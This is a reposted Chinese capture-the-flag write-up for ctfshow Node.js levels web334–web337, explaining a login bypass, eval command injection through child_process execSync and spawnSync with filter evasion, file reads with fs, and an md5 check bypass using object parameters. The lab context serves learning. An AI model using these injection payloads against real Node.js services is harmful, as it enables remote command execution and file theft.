ctfshow-nodejs

news2024/9/20 12:40:39

什么是nodejs
Node.js 是一个基于 Chrome V8 引擎的 Javascript 运行环境。可以说nodejs是一个运行环境,或者说是一个 JS 语言解释器

Nodejs 是基于 Chrome 的 V8 引擎开发的一个 C++ 程序,目的是提供一个 JS 的运行环境。最早 Nodejs 主要是安装在服务器上,辅助大家用 JS 开发高性能服务器代码,但是后来 Nodejs 在前端也大放异彩,带来了 Web 前端开发的革命。Nodejs 下运行 JS 代码有两种方式,一种是在 Node.js 的交互环境下运行,另外一种是把代码写入文件中,然后用 node 命令执行文件代码。Nodejs 跟浏览器是不同的环境,写 JS 代码的时候要注意这些差异。

这也是我第一次接触js 正好学习一下 js的前端和后端的处理方式 代码会有详细的解释

web334

首页面

后端user.js文件

module.exports = {
  items: [//这是一个属性 是一个数组 是一个包含用户名和密码的对象
    {username: 'CTFSHOW', password: '123456'}
  ]
};

后端 login.js文件

var express = require('express');//引入 Express 框架(模块),用于构建 Web 应用程序
var router = express.Router();//创建一个新的路由处理器实例,用于定义和组织路由
var users = require('../modules/user').items;//引入用户数据模块,假设这里的 user 模块包含了用户数据信息
//定义一个函数 参数为name和password
//并且使用find数组方法 遍历整个数组的元素 每个元素作为返回值传给回调函数作为参数
//判断是否有符合条件的 如果有 findUser 函数会立即返回该用户对象;如果没有找到任何匹配的用户对象,则返回 undefined
var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};
/* GET home page. */
//这段代码是一个路由处理函数,当客户端发送 POST 请求到根路径 / 时会执行该函数
// 首先设置回复方式为html 
router.post('/', function(req, res, next) {
  res.type('html');
  var flag='flag_here';
 //通过 req.session 创建或获取当前会话的 Session 对象
  var sess = req.session;
  //获取数据中的用户名和密码作为finduser函数的参数 函数返回值赋值给user
  var user = findUser(req.body.username, req.body.password);
 //如果user存在 执行代码
 //重新生成会话,并执行回调函数。regenerate 方法用于销毁当前会话并创建一个新的会话,
 //以确保会话安全性。回调函数中的参数 err 是一个可能的错误对象。如果会话生成过程中出现错误,将通过返回一个 JSON 响应表示登录失败
  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }
       //将用户对象的用户名赋值给会话对象的 loginUser 属性
      req.session.loginUser = user.username;
	  //返回一个 JSON 响应对象,其中包含登录成功的信息,以及之前设置的 flag 变量的值
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  
});
module.exports = router;

前端的js

<script>
    $('.btn').click(function(){
        login();//如果点击btn类名的元素时执行login函数
    });
    function login(){ 
        $.ajax({//开启一个异步 定义提交数据类型以及 提交的位置
            url:'/login',
            type:'post',
            data:{
                username:$('#username').val(),
                password:$('#password').val()
            },
            //数据包返回 会将数据先解析为json格式 然后进行判断
            success:function(data){
                data = JSON.parse(data);
                if(data.ret_code===0){
                   alert(data.ret_flag);
                }else{
                    alert(data.ret_msg);
                }                
            }
        });
    }
</script>

其实有用的就是 后端js的判断 

已知用户数据中有 账号为CTFSHOW 密码为123456

判断条件

 return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

如果提交的name不等于CTFSHOW 且数据中的usernmae等于提交的name的大写 且 数据的password等于提交的password

这样提交小写的ctfshow密码为123456即可

web335

查看源码提示传一个参数 考虑到这里是nodejs,eval很有可能在后端是执行的eval函数

在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function。

传入一个1 回显1 传一个ls无回显 那是正常的 因为这不是shell环境无法ls 这是nodejs环境执行的是js代码 那就想办法怎么执行js代码能做到执行shell代码

这里我们使用require()函数来加载child_process模块 然后使用execSync方法来执行系统命令

require("child_process").execSync('ls')
 

require("child_process").execSync('cat fl00g.txt')

web336

和上一题一样 没什么区别 估计是后端的处理有区别

就是禁用了exec

答案

先用__filename查看当前目录路径

然后读取当前文件名查看过滤点

require('fs').readFileSync('/app/routes/index.js','utf-8')

第一种

?eval=require( 'child_process' ).spawnSync( 'ls' ).stdout

?eval=require( 'child_process' ).spawnSync( 'ls' ).stdout.toString()
为什么?eval=require( 'child_process' ).spawnSync( 'ls' )不可以  大概解释就是他的返回结果是一个对象 不能输出 后面加入一个.stdout代表标准输出 也能成功以字符串形式输出再加一个.toString它会将被调用对象转换为字符串表示查看文件

?eval=require( 'child_process' ).spawnSync( 'cat',['fl001g.txt'] ).stdout.toString()

第二种

?eval=require("child_process")['exe'%2B'cSync']('ls')

?eval=require("child_process")['exe'%2B'cSync']('cat fl001g.txt')

第三种读取函数方式

?eval=require("fs").readdirSync('.')     查看当前目录(换成/.可查看根目录)
?eval=require("fs").readFileSync('fl001g.txt') --查看指定文件

web337

var express = require('express');//引入了 Express 模块,它是一个基于 Node.js 平台的 Web 开发框架
var router = express.Router();   //创建了一个新的路由对象
var crypto = require('crypto');  //引入了 Node.js 内置的 crypto 模块。该模块提供了一些加密和哈希算法
function md5(s) { //md5函数用于加密
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}
/* GET home page. */
//路由接收到一个get传到当前页面的数据 设置返回类型为html
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  //判断条件的要求是 a和b有值且不相等 长度相等 与flag合并后md5加密相等
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
});
module.exports = router;

一说两个不一样的进行md5加密 还能相等 那一定就是用到了该变成语言的特性

举个例子

a={'':'1'} //定义一个对象 属性名为空 属性值为1
b={'':'2'}
const c = [1];//定义一个常量数组c 值为1 
const d = [2];
console.log(a+"flag")输出到控制台
console.log(b+"flag")
console.log(c+"flag")
console.log(d+"flag")
//回显
//直接如果是一个对象直接输出 就显示[object Object]
[object Object]flag
[object Object]flag
1flag//数组要是输出那就是数组值
2flag

php中,无论是a[0]=1,a[1]=3…这种key为0,1,2…递增的,还是a[‘x’]=1,a[‘y’]=2这种自定义key的,都叫做数组array;而js中,前者叫数组,后者叫对象(Object)

自然的出答案 这三个但一个意思 都是将a和b当成对象进行赋值

?a[x]=1&b[x]=2
?a[]=1&b[]=1

a[:]=1&b[:]=2

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2113410.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

线性代数 第六讲 特征值和特征向量_相似对角化_实对称矩阵_重点题型总结详细解析

文章目录 1.特征值和特征向量1.1 特征值和特征向量的定义1.2 特征值和特征向量的求法1.3 特征值特征向量的主要结论 2.相似2.1 相似的定义2.2 相似的性质2.3 相似的结论 3.相似对角化4.实对称矩阵4.1 实对称矩阵的基本性质4.2 施密特正交化 5.重难点题型总结5.1 判断矩阵能否相…

Flutter集成Firebase中的 A/B Testing

前提 完成Flutter集成Firebase中的远程配置流程 A/B Test的使用流程 我们先通过远程配置设置变量&#xff0c;应用程序根据变量值展示不同的界面创建一个A/B Test实验&#xff0c;在实验中创建满足条件的用户才能加入到这个实验中&#xff0c;并且在A/B 实验中修改远程配置变…

【网络安全】服务基础第二阶段——第二节:Linux系统管理基础----Linux统计,高阶命令

目录 一、Linux高阶命令 1.1 管道符的基本原理 1.2 重定向 1.2.1 输出重定向 1.2.2 输入重定向 1.2.3 wc命令基本用法 1.3 别名 1.3.1 which命令基本语法 1.3.2 alias命令基本语法 1.4 压缩归档tar 1.4.1 第一种&#xff1a;gzip压缩 1.4.2 第二种&#xff1a;bzip…

多款式随身WiFi如何挑选,USB随身WiFi、无线电池随身WiFi、充电宝随身WiFi哪个好?优缺点分析!

市面上的随身WiFi款式多样琳琅满目&#xff0c;最具代表性的就是USB插电款、无线款和充电宝款。今天就来用一篇文章分析一下这三种款式的优缺点。 USB插电款 优点&#xff1a;便宜&#xff0c;无需充电&#xff0c;在有电源的地方可以随时随地插电使用&#xff0c;比如中兴的U…

交换两个变量数值的3种方法

前言&#xff1a;交换两个数值可不是"a b&#xff0c;b a"。这样做的话&#xff0c;a先等于了b的值&#xff1b;当“b a”后&#xff0c;因为此时a已经等于b的值了&#xff0c;这个语句就相当于执行了b b。最终的数值关系就成了a b&#xff0c;b b。 下面教给大…

综合DHCP、ACL、NAT、Telnet和PPPoE进行网络设计练习

描述&#xff1a;企业内网和运营商网络如上图所示。 公网IP段&#xff1a;12.1.1.0/24。 内网IP段&#xff1a;192.168.1.0/24。 公网口PPPOE 拨号采用CHAP认证&#xff0c;用户名:admin 密码:Admin123 财务PC 配置静态IP&#xff1a;192.168.1.8 R1使用模拟器中的AR201型…

重生奇迹MU老大哥剑士职业宝刀未老

重生奇迹MU中&#xff0c;老大哥剑士职业一直以来备受玩家们的喜爱。这个职业不仅拥有强大的攻击力、防御力和战斗技巧&#xff0c;而且还能够通过使用各种宝刀来增强自身的战斗能力。即便经过了多年的沉淀&#xff0c;老大哥剑士依然是一名宝刀未老的男人&#xff0c;仍然能够…

[羊城杯 2021]Ez_android-快坚持不下去的第五天

找到mainactivity函数 1. 用户名和密码的检查 2. 密码的加密然后 - 1 的操作 for (int i 0; i < bArr.length; i) {bArr[i] (byte) (bArr[i] - 1); } 这段代码通过遍历字节数组中的每个元素&#xff0c;将每个元素的值减去 1&#xff0c;并更新数组。这里的 byte 强制转…

怎么给U盘加密来防止数据泄密?总结了五个管用方法

U盘里的数据通常涉及课件、报表、演讲稿等&#xff0c;非常重要&#xff0c;最好能给U盘加密&#xff0c;这样即使丢了也无法看到里面的内容&#xff0c;那么如何给U盘加密呢&#xff1f; 一、使用Windows BitLocker To Go&#xff08;仅限Windows用户&#xff09; 操作步骤&a…

CentOS7.9虚拟机安装

一、下载CentOS7.9镜像文件 链接: https://pan.baidu.com/s/11eY8sS5mXWwQlW6yO9jokA 提取码: jrm6 二、创建CentOS7.9虚拟机 1、打开vmware,选择新建虚拟机 2、这里选择自定义 3、单击“下一步”。 4、先选择稍后安装 5、这里选择Liunx&#xff0c;然后找到对应的版本 6、…

强调重点元素、弱化辅助元素、去掉无关元素,工控HMI还能好不了

HMI设计&#xff0c;尤其工控领域的HMI设计&#xff0c;千万不要走极端&#xff0c;把界面搞得花哨&#xff0c;或者所谓的美观&#xff0c;切记实现功能才是第一位的。 在人机界面&#xff08;HMI&#xff09;设计中&#xff0c;强调重点元素、弱化辅助元素、去掉无关元素是非…

Winfrom中解决图像、文字模糊的方法

1.添加清单 2.将清单中的下面内容取消注释

python图像处理的图像几何变换

一.图像几何变换 图像几何变换不改变图像的像素值&#xff0c;在图像平面上进行像素变换。适当的几何变换可以最大程度地消除由于成像角度、透视关系乃至镜头自身原因所造成的几何失真所产生的负面影响。几何变换常常作为图像处理应用的预处理步骤&#xff0c;是图像归一化的核…

电力设计院10大排行榜!这个大院屠榜!

今天晚上阅读了中国电力规划设计协会《2022年度电力勘测设计行业统计分析报告》&#xff0c;这本报告是依据协会会员企业统计报表数据进行编制分析的。报告共收集了167家勘测设计企业上报的数据信息&#xff0c;统计的企业数量较2021 年166家企业增加1 家。 按业务板块划分为&…

【全网最全】2024年数学建模国赛A题30页完整建模文档+17页成品论文+保奖matla代码+可视化图表等(后续会更新)

您的点赞收藏是我继续更新的最大动力&#xff01; 一定要点击如下的卡片&#xff0c;那是获取资料的入口&#xff01; 【全网最全】2024年数学建模国赛A题30页完整建模文档17页成品论文保奖matla代码可视化图表等&#xff08;后续会更新&#xff09;「首先来看看目前已有的资…

14份网络安全意识培训ppt

14份网络安全意识培训ppthttp://mp.weixin.qq.com/s?__bizMzkwNjY1Mzc0Nw&mid2247485750&idx1&sn5abd05087334dcf68b1f76aa73011c41&chksmc0e4706af793f97c1bac979ad6a40c54c442a24b5f191162848bf2b06443a5968697ca45ecee#rd 网络安全周就要来了&#xff0c;…

用Boot写mybatis的增删改查

一、总览 项目结构&#xff1a; 图一 1、JavaBean文件 2、数据库操作 3、Java测试 4、SpringBoot启动类 5、SpringBoot数据库配置 二、配置数据库 在项目资源包中新建名为application.yml的文件&#xff0c;如图一。 建好文件我们就要开始写…

鸿蒙自动化发布测试版本app

创建API客户端 API客户端是AppGallery Connect用于管理用户访问AppGallery Connect API的身份凭据&#xff0c;您可以给不同角色创建不同的API客户端&#xff0c;使不同角色可以访问对应权限的AppGallery Connect API。在访问某个API前&#xff0c;必须创建有权访问该API的API…

上门预约家政服务小程序,为什么要开发小程序?

随着信息科技的发展&#xff0c;互联网家政的模式逐渐走入大众的生活中&#xff0c;为大众在快节奏生活下提供一个便捷、高效的家政服务体验&#xff0c;帮助大众解决家政的问题。同时在家政市场快速发展的当下&#xff0c;为家政企业带来新的商业机遇&#xff0c;为市场注入新…

图形验证码从设计到实现

验证码的使用场景 图形验证码在我们的日常使用中是非常常见的&#xff0c;比如一些App、小程序、PC网站等。涉及到的业务也比较广泛、例如用户登录流程、注册流程、找回密码。下面我们来大致梳理下上述流程&#xff1a; 登录流程 用户首先在登录界面输入手机号然后通过图形验…